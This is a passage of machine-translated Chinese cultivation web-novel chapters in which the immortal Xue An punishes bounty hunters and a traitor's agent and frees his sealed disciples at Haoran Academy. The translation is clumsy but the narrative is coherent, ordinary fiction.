    Ye Hong nodded blankly, "Yes!"


    Then he turned and led Xue An to leave.


    After walking through the streets a few times, she finally couldn''t help but ask: "Hey, what did you say to my grandfather? It made him so happy and still valued you so much?"


    Xue An smiled and said, "I didn''t say anything, it just solved the chess game that your grandfather was thinking hard and couldn''t solve!"


    "It''s that simple?"


    "It''s that simple!"


    Ye Xiao wanted to ask something, but glanced at Xue An''s profile, and saw that although he was smiling, his eyes were full of unspeakable chills, and he closed his mouth.


    quickly.


    The two of them crossed the street and returned to the alley.


    At this moment, people like Yunyang are already a little anxious.


    It wasn''t until after seeing Xue An''s figure that Yunyang couldn''t help but breathe a sigh of relief, and then said with a smile: "Brother Dadzun, you really do what you say!"


    Hearing this name, Ye Hao snorted, and finally couldn''t help but let out a loud voice.


    Xue An was also laughing, but his smile was full of chills, and then said lightly: "Three girls, please take your men and leave temporarily. I have something to say to my friends. !"


    Ye Hong glanced at Xue An strangely and wanted to ask something, but even after remembering his grandfather''s instructions, he nodded.


    "it is good!"


    After that, she waved at the group of teenagers, and then retreated like a tide.


    In an instant, only Xue An and others were left in this alley.


    Yunyang asked impatiently: "Brother Father, can you find out about Haoran Academy?"


    Xue An nodded, "Of course!"


    "Great, where is the specific location?" Yunyang said cheerfully.


    Xue An remained unmoved, but quietly looked at Yunyang and others.


    His reaction also made Yunyang startled, and immediately felt a trace of tension in his heart, and said with a strong smile.


    "Brother Dadzun, what are you looking at? Let''s go over now, otherwise it will change and we will be gone."


    Xue An''s face slowly bloomed with a cold smile, "That''s not in a hurry, I just want to know, how do you know the news about this Haoran Academy?"


    Yunyang froze for a moment, "How did you know? It''s naturally the news that you bought it from people!"


    "Then who is this person?" Xue An asked immediately.


    Yunyang suddenly felt something was wrong, stepped back half a step, and asked without a smile, "Brother Dadzun, what are you asking about this? This seems to have nothing to do with you, right!"


    Xue An looked down at his palm, and said lightly: "Of course it has a relationship, and it''s a big one."


    Yunyang felt that his entire body was erected, and he couldn''t help winking at his men.


    The group of people came up silently and blocked all Xue An''s retreat.


    Then Yunyang said coldly: "The surname Ling, do you want to swallow the battle results? I tell you, there are no doors! Now tell me the location of Haoran Academy, otherwise don''t blame me for waiting!"

 Chapter 1976： Thats right, I am Xue An! is not it...

    "You''re welcome..." Xue An suddenly chuckled, and when he raised his head, he was already exuding a terrifying power.


    "I really want to know how you want to be rude to me!"


    As soon as this power came out, Yunyang and the others couldn''t help but shook their bodies, especially Yunyang, whose face was as white as paper after a sigh.


    Yunyang couldn''t help being shocked, it was indeed that the power emanating from Xue An at this moment was too shocking, as if he was already a powerhouse at the Immortal King level.


    Such strength can be too scary.


    Because the half-step fairy king and the fairy king are completely two concepts.


    There may be hope for the former to work hard, but the immortal king needs extremely strong talent and heaven-defying air luck, both are indispensable.


    This also led to the scarcity of the strong immortal king.


    But what Yunyang didn''t know was that this was the result of Xue An''s efforts to suppress the power, because if he exerted his full power, the entire city would be shaken to dust as soon as the power and power comparable to the Emperor Immortal appeared.


    "You...you are not the half-step immortal king''s cultivation base? How...how could..."


    Yunyang whispered softly, trembling all over.


    Xue An smiled faintly, "Who has stipulated that I must be the strongest of the half-step fairy king? Are you?"


    Yunyang was so frightened, his face was filled with flattering smiles.


    "No, no, no, of course I didn''t mean that, villain, I just...just..."


    But he had only been for a long time, but he couldn''t even say a complete sentence. Anxiously, a dense layer of cold sweat appeared on his forehead.


    "Just what? I didn''t expect that I would be so good, so am I a little disappointed?" Xue An said coldly.


    "Yes... ah, no, no, no, how dare the villain have that kind of thought, it was all a misunderstanding before, just a misunderstanding!" Yun Yang sneered.


    As for his men, they were already scared stupid at this moment, standing obediently in place, not even daring to show up.


    Xue An sneered coldly, and ignored Yunyang''s flattery, and said lightly: "It doesn''t matter whether you misunderstand or deliberately, I just want to know who told you about Haoran Academy."


    This time Yunyang didn''t even hesitate, and directly offered a divine thought, and handed it over respectfully.


    "My lord, here are all the images of the person who told me the news. Please have a look."


    Xue An raised his hand to catch this brilliance, and after a brief examination, he was shocked, "Is it him?"


    Then Xue An''s face showed a haze that was too thick to dissolve, and a biting cold light flashed in his eyes.


    The violent power caused Yunyang and the others to retreat again and again, as they were about to fall, the look of astonishment in their eyes became more intense.


    They feel that what they are facing now is not a person, but an unpredictable and lofty world, which makes people just want to worship, and can''t afford the slightest resistance.


    After a while, Xue An took a slow and deep breath, and the violent power finally eased temporarily.


    But before Yunyang and the others breathed a sigh of relief, Xue An said coldly: "Do you know where this person is going?"


    Yunyang hurriedly shook his head, "I don''t know! My lord, after the transaction was completed, this old guy left alone. We really don''t know where he is going!"


    Xue An was silent.


    This ominous silence suppressed the atmosphere of the audience to the extreme.


    Yunyang felt that his back was drenched in cold sweat, and his legs were trembling constantly. Even so, he still did not dare to make the slightest change, and could only look at Xue An with trepidation.


    After a long time, Xue An suddenly chuckled and muttered to himself: "Also, since you dare to betray me, don''t blame me for disregarding the past!"


    In the end, the killing intent in Xue An''s words has been so strong that it is almost substantial.


    Having said that, Xue An raised his eyes to look at Yunyang on the opposite side, and said lightly: "Next, it''s time to settle the matter between us! But before doing it, I want to hear your opinion first."


    Yunyang was shocked, almost crying, and then he swallowed very hard, and said with a full smile.


    "Big...sir, I used to have eyes and no beads, and I have offended you so much, I hope you can forgive us this time, we will get out of this planet immediately, nothing else!"


    "Oh? Get out of the planet?"


    "Yes, this Haoran Academy and the whereabouts of Xue An are all your own contributions, and we will never dare to have the slightest intention of getting involved!"


    Yun Yang said cautiously, and then peeked at the white-clothed youth opposite, wanting to see some clues from the expression on his face.


    But soon he found that the look on Xue An''s face had become very weird, and there was deep sarcasm between the seemingly smiling faces.


    "I''m really wondering now, just with your IQs, how can you stay in the heavens for so long and not die."


    What do you mean?


    Upon hearing this, Yunyang and the others all looked puzzled.


    At this moment, a red lotus that resembled blood suddenly appeared between Xue An''s eyebrows.


    This lotus is crystal clear and dripping, but it contains supreme power, which is daunting.


    Then Xue An said in an indifferent tone: "Now... do you know who I am?"


    boom!


    After a brief consternation, Yunyang and the others turned pale at a speed visible to the naked eye.


    Especially Yunyang, standing at the forefront, can be described by the four words of a faceless face.


    "Red... Red Lotus Immortal Venerable! You... Are you the Red Lotus Immortal Venerable?"


    Xue An smiled slightly, "Yes, I am Xue An, don''t you feel surprised?"


    The mood of Yunyang and others at this moment is not only a surprise, it is simply shock.


    Yunyang even looked at Xue An with a dumbfounded expression, and his heart was full of these two big characters.


    He never expected that the person who was struggling to find his whereabouts would be in front of him all the time.


    And he just tried to threaten him.


    He didn''t know whether he should cry or laugh now.


    This is simply a great irony because Yunyang is still very self-aware. Although he is searching everywhere for Xue An��s whereabouts, he just wants to get some clues, and then package them and sell them to Renhuangdian and Xuan Mingling, in order to get a generous reward.


    Scared him to death, he didn''t dare to face Xue An, because that was the peerless Immortal Venerable once!


    Regardless of the reincarnation and restoration of this life, he is still not a character like him.


    But who would have thought that his "luck" would be so good that he would actually meet the Lord!


    At this moment, I only heard Xue An sigh softly, and then slowly said: "Aren''t you always looking for me? I am right in front of you now. If you want to do it, hurry up. After all, my patience is limited. !"


    But as soon as Xue An''s words fell, Yunyang''s knees softened and he fell to the ground with a plop.


    Not only him, but the group of men behind him also knelt down, kowtow.


    "Master Xianzun, spare your life! We don''t mean to be against you! Everything is the master of Yunyang."

 Chapter 1977： Only thunderbolt means bodhisattva heart...

    "Yes, we are all coerced, and Yunyang is the mastermind!"


    These people sold Yunyang without hesitation.


    Yunyang trembled and looked at Xue An pleadingly.


    "Xian... Master Xianzun, I... I know I was wrong, please let me go!"


    Xue An took a deep look at him, then gently shook his head.


    And as Xue An shook his head, Yunyang''s face suddenly became ashen.


    "Actually, I can let you go. After all, you just want to get the bounty. This is understandable, but the problem is that you still want to sell this planet. This is unforgivable! So..."


    "Goodbye!"


    After all, Xue An raised his eyebrows, and then stepped on it.


    boom!


    The whole alley was shocked.


    At the same time, countless sword lights appeared out of thin air, and then rushed towards Yunyang and the others like a tide.


    Yunyang and others didn''t even have room to struggle.


    Because under Xue An''s power, all their movements were imprisoned, and they could only watch Jianmang rush towards him.


    Hey!


    Accompanied by a sound that looked like an ant bite, the flesh and blood on Yunyang and the others quickly dissipated at a speed visible to the naked eye.


    In the blink of an eye, the flesh and blood disappeared, leaving only the bones.


    But in the next second, under Jianmang''s "chewing", these white bones burst open and turned into powder.


    At this point, Yunyang and others, who were still alive just now, disappeared like this.


    Jianmang returned to nothing, and the alley also recovered calm.


    Only the footprints on the ground proved that someone had existed here just now.


    Xue looked quietly for a while, then turned around blankly and walked slowly into the darkness.


    Seen from behind, he is dressed in white clothes and wins snow, looking so cold and arrogant under the cover of darkness.


    But only he knew that this killing was actually just beginning.


    In the previous life, Xue An had let go too much, but in this life, he decided not to be soft.


    Because only by means of thunderbolt can it be considered a bodhisattva heart.


    At the same time, in the distant sky, a faint thunder ran over.


    The ubiquitous wind between the sky and the earth began to become restless, and seemed to be brewing a storm that swept everything.


    On the long street beyond the alley.


    Ye Xiao was standing under a tree beside the road and waiting quietly, surrounded by many teenagers.


    At this time, the young man named Lingge frowned slightly.


    "Sanniang, this person has been in the alley for such a long time and hasn''t come out. Isn''t something going to happen?"


    Ye Xiao shook his head lightly, "No!"


    "Why not? And I don''t understand, why should we listen to him?" Lingge said with some dissatisfaction.


    "Because this was ordered by the master, we should treat this man like him!" Ye Xiao said.


    When I heard that it was the Master''s order, Brother Ling dared not say anything else, but still muttered in a low voice, "I have been in for so long and haven''t come out. What if I run away with someone?"


    Ye Hong Quandang did not hear the complaints from his subordinates, and stared quietly at the alley in the distance.


    At this moment, she is already full of infinite curiosity about Xue An.


    Because she really couldn''t guess what this mysterious boy in white wanted to do.


    Why is Grandpa so respectful to him?


    As she thought about it, she couldn''t help but think of the name of the father-in-law, and a smile suddenly appeared at the corner of her mouth.


    But at this moment, a bright white light flashed away suddenly in the alley, and the speed was as fast as a sharp flash.


    Ye Hong''s heart trembled, and his complexion immediately became extremely solemn.


    Because she clearly felt that just now, an extremely tyrannical spirit rose from the alley and immediately disappeared.


    what happened?


    Could there be any changes in the alley?


    Ye Xiaoqing couldn''t help taking a few steps forward, and then he wanted to walk into the alley.


    At this moment, Xue An slowly walked out of the darkness and came to the front of the alley.


    His appearance shocked everyone slightly.


    Ye Hong let out a sigh of relief subconsciously, but she soon noticed something strange about Xue An.


    Because at this moment, Xue An seemed to linger in a faint mist, and only a pair of star-like eyes were exposed.


    Ye Xiao just glanced at it and couldn''t help being stunned.


    Because there seemed to be countless stars in these eyes, which made people afraid to look directly.


    Not only her, but all the teenagers were deterred by Xue An''s aura and stood still.


    Xue An''s mouth slowly raised, revealing a faint smile.


    "Sorry, I kept you waiting for a long time!"


    As soon as this statement came out, it was as if some curse had been solved, and Ye Hong instantly woke up from the previous shock.


    "You... why are you yourself? How about your friends?"


    "Friends?" Xue An smiled, "They are in a hurry and have already left by themselves!"


    left?


    Ye Hong is a little unclear.


    At this moment, there was a sudden flash of light on the sky, and then there was a violent thunder.


    The whole city was shaken by this thunder.


    Countless people looked up.


    But seeing the dark clouds in the sky, there are countless lightning flashes faintly passing by.


    Then a gust of wind blew up between heaven and earth.


    The trees swayed frantically.


    "It''s going to rain!" Xue An said lightly.


    Ye Hong couldn''t do the calmness of Xue An, her face was slightly pale at the moment, because she had lived so much, she had never seen such a violent wind and thunder.


    And just at this moment, a figure galloped from a distance, and after waiting closer, it was Ye Hong''s grandfather, Ye Ming!


    At this moment, his complexion became very solemn.


    "My lord, the wind and rain..."


    Xue An smiled and waved his hand, "It''s okay!"


    After all, Xue An stepped out, then turned into a white light, soaring into the sky, straight into the sky.


    This sudden scene made Ye Xiao look silly.


    "Grandpa, this..."


    Ye Ming looked up at the sky, his beard trembling with excitement, "Master Patriarch will finally reveal his might!"


    Grand Master?


    Ye Hong was taken aback for a moment.


    At this moment, above that high altitude, Xue An''s figure was revealed.


    Under the black clouds Xue An, who was dressed in white and stood upright like a sword, was so conspicuous that even the entire city was attracted and shocked!


    Xue An looked down at the city at his feet, feeling the violent aura between heaven and earth, and smiled faintly.


    "interesting!"


    It seemed that he felt Xue An''s contempt, and listened to the rumbling bursts of explosions, and thunder lights came straight to Xue An with a force of thunder.


    The prosperity of brilliance makes the sky bright.


    Many people couldn''t help screaming when they saw this.


    Ye Hong clenched his heart into a ball instantly.


    But at this moment, I only heard Xue An''s soft drink like water from the sky.


    "roll!"


    boom!


    Although the sound was small, it was like a king''s will, and in an instant shattered all the thunder that came.

 Chapter 1978： traitor

    Immediately afterwards, Xue An raised his foot and took a step forward.


    With one step, the sky shook.


    The dark clouds that were originally black boiled as if they were boiling.


    In an instant, the dark clouds receded, and a sky full of stars appeared.


    A big storm was thus eliminated by Xue An invisible.


    But this was far from over, Xue An slowly stretched out his sapphire palm, and pointed at the void in front of him.


    The void is like a disturbed water surface, with layers of ripples and spreading away.


    In an instant, everyone felt that the entire sky began to shake.


    Then the ripples over the city gradually dissipated, as if a window had been opened, and a tall mountain loomed in it.


    This mountain stands tall, with clouds and mist at the top, like a fairyland.


    And behind the clouds, there is a college.


    Seeing this scene, Ye Ming''s eyes filled with excitement on the ground.


    "It''s the Academy! I didn''t expect the disciple to see the Master again in his lifetime."


    Ye Hong looked blank.


    Is this the academy that grandpa has always been studying?


    But isn''t this college in the mountains?


    How could it suddenly appear over the city?


    She didn''t know that this was actually because Xue An directly penetrated time and space with the supreme means, connecting the city with the time and space where the Academy is located.


    at the same time.


    This academy seemed to feel the same, the sky above was filled with blue light, and then the whole academy was covered.


    Xue An smiled coldly, then raised his hand and plunged into it, pressing directly on the blue light barrier.


    Bang!


    Qingguang didn''t hold it for even a second, before it broke apart.


    There was an exclamation in the academy, "How is it possible?"


    Xue An said lightly: "How can it be impossible!"


    With that, a huge suction suddenly appeared in Xue An''s palm.


    "Do not!"


    The voice screamed sternly, and then countless black energy rushed out, trying to stop Xue An, and at the same time, a faint figure rose into the sky and flew quickly away from the planet.


    Xue An''s eyes flashed, "Want to run?"


    Then he flicked his fingers, and the black gas instantly disappeared.


    Immediately afterwards, Xue An pointed at the figure that was fast going away.


    "come back!"


    The figure suddenly stagnated, and then involuntarily flew towards Xue An.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!"


    But everything is in vain.


    But in the blink of an eye, this figure flew up to Xue An obediently, and then was pinched by Xue An in his hand.


    Xue An smiled slightly, "Are you Jing Haomiao?"


    It was only then that people could see clearly that this figure turned out to be a gray-haired old man.


    If you only look at his appearance, it is impossible to associate him with Xie Xiu anyway, instead he is more like a teacher in the countryside.


    But under Xue An��s questioning, Jing Haomiao trembled all over, his eyelids throbbed, but a flattering smile appeared on his face.


    "Yes... I am Jing Haomiao! Dare to ask my lord who are you?"


    "Me?" Xue An smiled coldly, "You even occupied the academy I founded, but you still asked who I am?"


    what?


    Hearing this, Jing Haomiao''s eyes widened instantly, his face full of fear.


    "You...you...."


    After you have spent a long time, he has not been able to say a complete sentence.


    Because he was almost frightened.


    In the past few days, he had always felt that something was wrong, and his right eyelid was beating vigorously.


    This is a sign of bad luck.


    But he never expected that he could be so unlucky that he would actually meet this god-killing grandfather.


    When he was full of horror, Xue An smiled coldly at him, "Why? Don''t you know me? It seems that he didn''t make preparations when he ordered you to come!"


    If it is said that when Xue An just reported his identity, this Jing Haomiao was only afraid.


    Now he was completely shocked, and even both eyes lost focus, and he could only look at Xue An blankly.


    "Are you surprised how did I know?" Xue An said coldly.


    "It''s very simple, because unless it is someone who betrayed me, most people would not know the location of this academy, and you are a wicked cultivator, then there is only one possibility that can explain it. Is the person who sent you You Huahui? ?"


    Jing Haomiao was so shocked that he didn''t know what to say.


    "Sure enough, it is him! Hehe, it seems that I was too forgiving at the beginning, and even made these people lose their awe."


    A frightening glow flashed in Xue An''s eyes.


    Because this You Huahui was one of his subordinates at the time, and he was also a top master from the evil sect.


    At first, for various reasons, he was about to run out of oil and the lamp died. Xue An, who happened to be passing by, rescued him by chance.


    Then he vowed to change the evil in front of Xue An and became one of Xue An''s right-hand men ever since.


    Unexpectedly, after Xue An fell, he would be the first person to betray.


    The monk who told them the news that Xue An had just learned from Yunyang and other people was also You Huahui.


    As for why he did this....


    Xue An said coldly: "He sent you to ask you to find the key to my stay here?"


    Jing Haomiao was shocked all over, and looked up at Xue An. When he came into contact with Xue An''s cold gaze, he finally collapsed completely and said the first sentence.


    "Master Xianzun, please forgive me, I will tell you everything!"


    Next, Jing Haomiao told the whole story just like the bamboo tube pouring beans.


    As Xue An said, he was indeed sent by You Huahui.


    After Xue An''s "fallen", You Huahui took the opportunity to rebel, relying on the prestige and power accumulated over such a long time, and quickly gained a foothold.


    And this Jing Haomiao was also You Huahui who had taken refuge at that time so he didn''t recognize Xue An.


    Later, because of his shrewdness and ability, he quickly received the respect of You Huahui and finally gave him this task.


    At that time, You Huahui didn''t tell the whole story, only that there was a sect who refused to accept his discipline, and had a feast with each other, and asked him to kill everyone in one go, and he would have a great reward after it was done.


    Jing Haomiao, who was eager to express himself, agreed with one bite.


    But when he came outside of this planet, he found that he couldn''t get in at all. The mountain protection formation was completely beyond his ability to contend, so he had to go back in desperation.


    After the matter was said, You Huahui was silent for a long time, and finally called him in front of him and said a detailed plan in his ear.


    After listening, Jing Haomiao was simply stupid.


    This is simply to be an undercover by yourself!


    But frightened by You Huahui''s might, he could only reluctantly agree to it, and at the same time, You Huahui also told him that he must find a key after the matter was completed.

 Chapter 1979： Arsenal Key

    As for what kind of key it was, even You Huahui didn''t know.


    Then Jing Haomiao followed You Huahui''s instructions and began to implement this latent plan.


    I have to say that Jing Haomiao is indeed very capable, and this plan has really allowed him to complete.


    But he never found the key that You Huahui said.


    This is what happened in the past.


    Speaking of this, Jing Haomiao suddenly remembered something, and hurriedly added: "Master Xianzun, I actually didn''t hurt any of those people in the academy. I just trapped them with formations, so please let me go. Go ahead! You Huahui instructed everything behind the scenes!"


    Xue An listened with a deep face, and suddenly asked, "If this is the case, why did You Huahui send a bounty hunter to this planet?"


    Jing Haomiao gave a wry smile, "Master Xianzun, you don''t know that the magic circle of this planet is very mysterious. The stronger you are, the more you cannot enter. You Huahui is not allowed to enter because of this, and I have stayed on this planet for a long time. I was neutralized, and even disconnected from You Huahui!"


    After speaking, Jing Haomiao looked at Xue An eagerly, "Master Xianzun, this is how things have happened, I promise there are no half-words, please let me go!"


    "Disconnected?" Xue An whispered softly, and suddenly sneered.


    "Do you really think he would not have thought of this?"


    What do you mean?


    Jing Haomiao was shocked all over, just startled.


    Xue An''s finger was already on Jing Haomiao''s forehead, and he said lightly: "Come out, I know you''ve been there all the time!"


    no response.


    Only Jing Haomiao shivered under Xue An''s hands.


    "What? Do you have to let me personally force your clone out?" Xue An said coldly.


    As soon as he said this, black smoke suddenly rose above Jing Haomiao''s head, and then the smoke condensed into a man in black with a vague face.


    After the man appeared, he arched his hand towards Xue An and said politely: "Master Xianzun, really nothing can hide from your eyes!"


    Xue An stared at the man in black, his eyes gradually becoming cold, "You Huahui, it seems that I really missed you!"


    That''s right.


    The clone that appeared was Xue An''s former subordinate, the evil repairer You Huahui.


    After hearing what Xue An said, the clone of You Huahui smiled faintly.


    "Why did Master Xianzun say this? You should know that people don''t kill themselves for their own sake. You suddenly fell. I think about my future and find a way out in advance. This is nothing wrong!"


    "Of course it is understandable, but the problem is that you actually hit this Haoran Academy, why? Do you want to find the key to my arsenal here?" Xue An said coldly.


    You Huahui couldn''t laugh this time, and stared at Xue An deeply, "You had expected this a long time ago, so you hid the key so well that everyone in this academy didn''t know it!"


    Unexpectedly, Xue An shook his head, "You are wrong. I didn''t hide the key at all. It is completely on the bright side, but you can''t find it yourself!"


    This You Huahui''s clone was shocked, and even the black energy surged and fluctuated, "What? This is impossible. Over the years, I have painstakingly rummaged through the entire academy. If it were placed on the bright side, I should have already found it."


    "Hehe, who said that the key to open the arsenal must be what you imagined?" Xue An sneered.


    Suddenly, You Huahui was stunned. It was not until a long time later that he nodded silently, "So that''s the case, it seems that I am too rigid."


    "It''s a pity, if you come a few days late, I might have already left with those bounty hunters. By then, the entire academy will be moved away by me, and I won''t end up like this, it will fall short!" You Huahui Exclaimed.


    "Are you finished? After you finish speaking, I''m ready to do it!" Xue An said slowly.


    You Huahui''s figure began to collapse and reverted to the shape of black smoke, and at the same time his extremely cold voice came from it.


    "Xue An, I will wait for you among the heavens, and the arsenal will also be mine. I wish you a rat''s tail juice (good for yourself)!"


    When the words fell, the black energy suddenly expanded, and then completely exploded into nothingness.


    This avatar of You Huahui actually chose to sever by himself.


    The loud noise of the explosion spread far away.


    Most of the residents of the city covered their ears with painful faces.


    Xue An stood there quietly, and after a long time he said coldly: "Wishful thinking!"


    Talk about it.


    Xue An looked at Jing Haomiao who had been stunned by the explosion.


    "You said those people in the college are trapped by you?"


    "Yes, yes, I didn''t dare to hurt any of them, I just got trapped with the formation!" Jing Haomiao said with a nod and bow.


    "Well, if so, then I will give you a chance!"


    Jing Haomiao was overjoyed.


    But at this moment, a ray of sword light directly penetrated the center of his eyebrows and shot out from the back of his head, exploding a big hole.


    Jing Haomiao''s eyes dimmed in an instant, and with the last gleam of light he looked at Xue An, as if he didn''t understand why Xue An turned back.


    Xue An didn''t even look at him. With a wave of his hand, Jing Haomiao''s body exploded into powder in an instant.


    Immediately afterwards, a trace of imperceptible light sank into Xue An''s palm.


    It was Jing Haomiao''s only remaining soul that was absorbed into Xue An''s Buddha Kingdom.


    Xue An said lightly: "This is the opportunity I give you."


    After all, before Xue An stepped to this window in the sky, he reached into it with both hands and slammed to the sides.


    Rumble!


    This mountain was completely exposed in front of everyone.


    So a scene of wonder appeared over the city.


    A tall mountain is suspended above, and the top of the mountain is a solemn academy.


    With tears streaming down his face, Ye Ming couldn''t help but knelt to the ground, repeatedly kowtow to Xue An in the sky.


    "Master Patriarch showed up!"


    Ye Hong finally understood at this time It turned out that this young man in white was the one who founded Xia Academy and left behind the Confucian School!


    Under infinite shock, she couldn''t help kneeling to the ground.


    Not only them, but most of the people in the city have all fallen to their knees.


    Because for them, Xue An''s various performances are just like the gods described in the book.


    But Xue An ignored these, he came to the door of the mountain top academy in one step, stared at the plaque with the four characters on Haoran Academy, and then stepped forward.


    At the same time, his indifferent voice came back.


    "Ye Ming, come here too!"


    "Yes!"


    Ye Ming, who was kneeling on the ground, shook all over, and immediately rose up, flew to the gate of the academy, and followed Xue An into the academy with excitement.

 Chapter 1985： Set things right

    This academy is not big from a distance, but when you get closer, you will find that the area of ??the entire academy is actually amazing.


    After stepping into the gate, there is a tall statue of a man facing him.


    This statue is carved from pure white and flawless chalcedony spar. It looks like it was made by a master, and the carving is almost lifelike.


    Xue An stood in front of this statue with facial features 80% similar to him, and couldn''t help being a little dazed, "Who put this here?"


    Ye Ming on the side hurriedly said: "Master Huizu, it is the great mountain leader and my mentor who put it here."


    Speaking of this, Ye Ming showed a proud smile, "This is also to commemorate your unworldly merit!"


    "I know the truth, but why do you want to sculpt me so...stupid?"


    Xue An stared at the statue with his left hand pointing straight ahead, his brows furrowed, and his face full of compassion, sinking into contemplation.


    Ye Ming didn''t understand, "Master Patriarch, what did you say? What is a sand sculpture? This statue expresses your feelings of saving the world and worrying about the country and the people!"


    Xue An turned his head and glanced at him, "You tell me the truth, did you carve this statue?"


    Ye Ming smiled and scratched his scalp embarrassedly, "I don''t have that ability, most of them are from my teacher, I just help out!"


    "I knew it was the dead girl Xiaoman!" Xue An cursed secretly.


    Ye Ming was puzzled, "Master, what are you talking about?"


    "Oh! Nothing, let''s go!"


    After bypassing the shadow wall, a large courtyard appeared in front of him.


    now.


    In this courtyard, there were a lot of school disciples and book boys on their knees.


    These are all the disciples that Jing Haomiao received after he took charge of the academy.


    When they saw Xue An''s figure, they couldn''t help but kowtow to the ground, not even raising their heads.


    There was that timid body trembling slightly.


    Xue An didn''t pay attention to them at all, and went straight in.


    Instead, Ye Ming stopped walking as he walked, and then sighed softly to a man kneeling on the side of the road: "Little Junior Brother, did you ever think of such a day when you sold yourself to a thief?"


    He was questioned by a middle-aged man. After hearing what Ye Ming said, he raised his head, and then his face showed shame.


    "Brother, I..."


    Ye Ming waved his hand and sighed softly, "Okay, don''t say anything, you don''t have to call my senior brother, everything is determined by your own ancestor!"


    After that, Ye Ming took a few steps and followed Xue An to the back of the academy.


    The man looked at Ye Ming''s distant back, with a deep regret in his eyes.


    As Ye Ming said just now, this man is Ye Ming''s real younger brother, but after Jing Haomiao rebelled, this man did not escape from the college with Ye Ming and other survivors.


    On the contrary, he actually took refuge in Jing Haomiao and willingly became his minion.


    Unexpectedly, things had a shocking reversal today. The ancestor who founded the academy suddenly returned and destroyed Jing Haomiao with a thunderous force.


    It is conceivable that after this battle, the academy will set things right.


    It''s okay for others to say, after all, they were all tricked in by Jing Haomiao.


    Only oneself voluntarily surrendered. In this case, let alone whether you can gain a foothold in the academy, even whether you can survive is a problem!


    At this point, the man couldn''t help feeling more regretful in his heart.


    He even hated Xue An, Ye Ming and others.


    I blame you, everything is fine, why do you come back?


    And even if you can destroy Jing Haomiao, doesn''t it mean that you can break those seals!


    The man thought of gloating.


    But at this moment, a bright white light suddenly exploded behind the academy, and then the whole mountain trembled.


    The man''s mouth opened wide in an instant, and he looked at all this in horror.


    how is this possible?


    How long did it take for the two to enter the backyard, and why did they unlock the seal so quickly?


    But he didn''t know it, just when he was full of resentment.


    Xue Anye has taken the lead into the backyard.


    This backyard is a garden.


    Among the lush trees, there are huge white towers.


    The high tower is engraved with Taoist runes, which is the seal formation that binds Dashanchang and others in the academy.


    Ye Ming looked excited and whispered, "Master Patriarch, among these seals are the Dashanchang, the mentor and others. Which one should we crack first?"


    "Which one should I crack?" Xue An chuckled, then shook his head, "That''s too much trouble, let''s go together!"


    After that, Xue An raised his palm, the golden light flickered in his palm, then exhaled and pressed down with one hand.


    boom!


    With this palm of his hand, all the towers in the entire backyard burst at the same time.


    Then countless brilliance rose to the sky, forming the bright white light in the eyes of the man in the front yard.


    At this moment, one after another tyrannical aura emerged from this white light.


    But it was a young and pretty woman who first appeared.


    After the woman appeared, she looked around blankly, and then she saw Xue An with her hand on the ground with a smile on her face.


    When she saw him, the woman was shocked.


    At the same time, Xue An smiled at her, "Little girl, why? Don''t you recognize me?"


    As soon as she said this, the woman''s eyes gradually became clear, and then her face showed infinite excitement.


    "Master?"


    With that, she rushed to Xue An like an arrow from the string, and then hugged Xue An.


    Xue An''s expression moved, but did not dodge, just raised his hands and stood there with a smile.


    After more than half a minute, the young girl raised her head in confusion, "Why haven''t you disappeared?"


    "Disappear? Why should I disappear?" Xue An said lightly.


    "Hey, it''s weird, isn''t this a dream? You should go quickly, otherwise it will be uncomfortable when I wake up from the dream!" The girl sighed.


    Xue An was utterly laughing and crying and pinched her baby''s fat cheeks, and slightly hardened, "Is this still a dream?"


    Under the pain, the girl''s eyes opened wide, "What? This is not a dream? That is to say... Are you real?"


    Xue An nodded, "Of course it''s true, such as the fake one!"


    At the same time, Ye Ming also stepped forward with great excitement, and said deeply: "The disciple pays homage to his teacher!"


    That''s right!


    This girl was Ye Ming''s master and the only female disciple Xue An accepted, Ouyang Xiaoman.


    After seeing Ye Ming, Ouyang Xiaoman''s mouth opened wider, "Are you... Ye Ming?"


    "It''s a disciple."


    "My God, why are you so old?"


    Ye Ming''s expression became very embarrassed in an instant, and he sneered: "The disciple''s strength is inadequate. After going down the mountain, because he couldn''t resist the erosion of years, he became what he is now!"

 Chapter 1986： Good defenders hide in 9 places, good attackers move...

    at the same time.


    In that white light, a group of figures continued to appear.


    Without exception, these people were all blank at the beginning, but after seeing Xue An, they immediately fell to the ground and walked closer.


    "Master...Master?"


    Everyone is still a little uncertain at this time, because Xue An now seems to be younger than when he taught them before.


    Xue An smiled faintly, then nodded, "It''s me!"


    After hearing Xue An''s personal confession and confirming that this was not a dream, these disciples immediately fell to their knees, bowed deeply towards Xue An, and said with a choked voice.


    "Disciple, see your teacher!"


    Xue An said lightly: "Get up all the time."


    These people just stood up, their faces full of excitement.


    Because they never expected that Xue An would suddenly appear and rescue himself and others from the seal.


    Don''t ask.


    Now that the master is back, then the guy who made the mess must have already come down.


    At this time, Xue An''s eyes swept across each of them, and finally sighed slightly, "These years...you have suffered!"


    Upon hearing this, these people all looked ashamed.


    One of them is the oldest, wearing a blue gown, stepping forward like an old man who teaches.


    "Teacher, I have not been able to keep the legacy you left, but I was taken advantage of by the villain. It is really worthy of your request. I am guilty!"


    After all, the old man swept the floor, and everyone followed him to salute. Only this Ouyang Xiaoman stood beside Xue An indifferently.


    The old man who spoke was Shu Wenbin, the great mountain leader of Haoran Academy, and the first apprentice Xue An accepted that year.


    This Shu Wenbin is loyal and has the gentleman style of ancient China, so he deserves to be the head of the Haoran Academy.


    He did live up to expectations, and managed the Haoran Academy in an orderly manner after Xue An left.


    It wasn''t until Jing Haomiao entered this world, and after finding out his temper, he easily gained his trust, and in the end the entire Haoran Academy suffered a catastrophe.


    So at this moment, Shu Wenbin is simply ashamed, and I really want to die in order to redeem him.


    Xue An naturally saw what he was thinking, and couldn''t help but smile lightly, "Okay, things are over, don''t worry about it anymore, and you can''t blame you for this matter, after all, you are a gentleman, Jing Haomiao is Villain."


    "The gentleman deceives the right way. Jing Haomiao has mastered this point before he will turn you around. It will be good to learn from the lesson later. After all... Although a gentleman is good, he must also understand the sinister heart, otherwise he is not a gentleman. You are taking a lot of money."


    "Yes! The disciple would like to follow the teacher''s teaching!" Shu Wenbin gave a convincing salute.


    At this time, Ouyang Xiaoman asked curiously: "Master, where do you come from?"


    Xue An smiled faintly, "I... naturally came from the heavens."


